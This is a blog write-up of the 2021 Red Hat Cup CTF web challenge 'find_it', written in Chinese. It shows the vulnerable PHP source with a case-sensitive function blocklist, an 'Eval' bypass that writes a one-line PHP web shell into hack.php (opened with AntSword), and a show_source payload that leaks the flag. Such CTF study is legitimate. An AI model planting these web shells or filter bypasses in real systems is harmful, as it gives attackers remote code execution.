[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it
[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it
看群里说CTFHub上复现了, 我来看看
本来想按照红帽杯的套路来试一下,发现phpinfo里莫得flag了
只能想想其他办法咯
<?php#Really easy...$file=fopen("flag.php","r") or die("Unable 2 open!");$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));$hack=fopen("hack.php","w") or die("Unable 2 open");$a=$_GET['code'];if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){die("you die");
}
if(strlen($a)>33){die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);fclose($file);
fclose($hack);
?>
preg_match()
过滤了eval
但是!!!!!
Eval
它没ban
所以我们可以写’大’马
构造payload:
/?code=<?php%20@Eval($_POST['aaa']);?>
蚁剑连马
拿到flag:
但是作为菜鸡
我还是要重新思考一下这道题的思路:
代码中有几个函数需要注意一下
比如fopen()
,fwrite()
,fread()
fread() 函数读取文件
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
也就是说,这里已经读到了flag
$a=$_GET['code'];
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
这里又都写到了hack.php
所以也就是说,我们再绕通配符写马的时候,flag也被传进了hack.php中
但是为什么看不到呢(具体我也不知道,知道的大哥哥可以告诉我学习一下)
但是我想到了另外一个函数show_source()
show_source() 函数对文件进行语法高亮显示。
随机构造payload:
/?code=<?php show_source(__FILE__);?>
也没有被ban的项,正常传入
然后访问hack.php
flag他就出来了。。。。
同时还有我传入的payload
搞一波骚操作!
所以,今天又学到了新姿势~~~~
[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it相关推荐
- 2021第四届红帽杯网络安全大赛-线上赛Writeup
文章目录 MISC 签到 colorful code WEB find_it framework WebsiteManger ezlight 记录一下被锤爆的一天-orz MISC 签到 签到抢了个二 ...
- 第四届红帽杯网络安全大赛 Web 部分writeup
前言 记录一下web的wp,随手写的,只会前三题,确实都很简单. find_it 扫到robots.txt,发现1ndexx.php,直接访问不了,访问.1ndexx.php.swp得到源码,然后读f ...
- CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger
CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger(布尔盲注.SSRF ) 场景描述:最新的网站测试器,作为非站长的你,能利用好它的功能吗? 场景打开后,如下,是个登 ...
- 2022第二届网刃杯网络安全大赛-Web
2022第二届网刃杯网络安全大赛-Web 前言 提示:该内容由夜刃TEOT战队-夜白君师傅原创,禁止抄袭! 一.Web2-upload 难度系数:4.0 题目描述:只有想不到,没有做不到,sql yy ...
- 2021年“羊城杯”网络安全大赛部分Writeup
文章目录 MISC 签到 赛博德国人 MISC520 Baby_Forenisc Crypto Bigrsa Ring Ring Ring MISC 签到 题目描述:猜数字01-30,数字序列以San ...
- [2021首届“陇剑杯”网络安全大赛 决赛]内存取证writeup
决赛不能联网-手上有只有vol2.6,这道题完全死了 文章目录 [2021首届"陇剑杯"网络安全大赛 决赛]内存取证 writeup 产品密钥 匿名邮箱 远控后门 数据清除时间 [ ...
- 【2020年第二届“网鼎杯”网络安全大赛 青龙组】Web AreUSerialz
[2020年第二届"网鼎杯"网络安全大赛 青龙组]Web AreUSerialz http://94b1c2d4231f4b4bb92162d5e89dec8f5817750c48 ...
- [2021首届“陇剑杯”网络安全大赛] webshell
[2021首届"陇剑杯"网络安全大赛] webshell 题目描述 单位网站被黑客挂马,请您从流量中分析出webshell,进行回答: 1.黑客登录系统使用的密码是___Admin ...
- 2021第一届网刃杯网络安全大赛-老练的黑客
2021第一届网刃杯网络安全大赛-老练的黑客 难度系数:4.0 题目描述:一黑客成功入侵某核电站且获得了操作员站控制权,该操作员站可控制离心机的转速,当离心机的转速持续高于5000时将导致设备损坏,为 ...
最新文章
- Python3 与 C# 并发编程之~ Net篇
- python判断一个数是整数、浮点数还是字符串
- c#反混淆工具de4dot 一般混淆都可以解决
- 创建数组表格PHP苹果价格,如何从PHP数组创建HTML表?
- kotlin和python哪个好_python替代品for一些java及kotlin功能(慎入啊慎入)
- log4j的使用 slf4j简单介绍
- 【观察】 全新紫光云:“云数智”底盘再升级,背后的三重新价值
- 利用腾讯云独立IP使用windows用CCProxy搭建Socks5多IP代理服务器图文教程实现单窗口单IP
- Windows系统主机加固
- 计算机监控系统sacad,太阳能热泵多功能复合机(sahpm)计算机监控系统实现方法研究-机械电子工程专业论文.docx...
- 微信公众号接入智能客服机器人可以实现哪些效果
- 分享图片+文字到微信朋友圈
- MySQL学习之一条SQL更新语句的执行
- 计算机流量的单位是什么,单位g和ml哪个大?
- 2021年三门中学高考成绩查询,2021长沙市地区高考成绩排名查询,长沙市高考各高中成绩喜报榜单...
- Collection集合
- R数据分析:数据清洗的思路和核心函数介绍
- 飞思卡尔智能车总结 之中断的处理方法
- 如何下载因特尔显卡的最新驱动
- 如何设置网络访问 SQL Express?
热门文章
- OpenGL 3.0,等得花儿都谢了
- linux smit工具,Linux安全基础 SMIT入门
- Java实现画图软件(Swing)
- java_微信公众号扫码绑定个人信息(微信公众号场景值二维码的使用)
- android字体图形绘制,android paint api drawText 绘制字体字形
- 学 Python 爬虫,你可以研究下 GoPUP, 一个用于学术研究的小爬虫库
- 【愚公系列】2022年09月 微信小程序-WebGL纹理材质的使用
- 机房一体化监测解决方案
- 解决Ubuntu18.04搜狗拼音输入法选词面板出现乱码问题
- fastapi 如何响应文件下载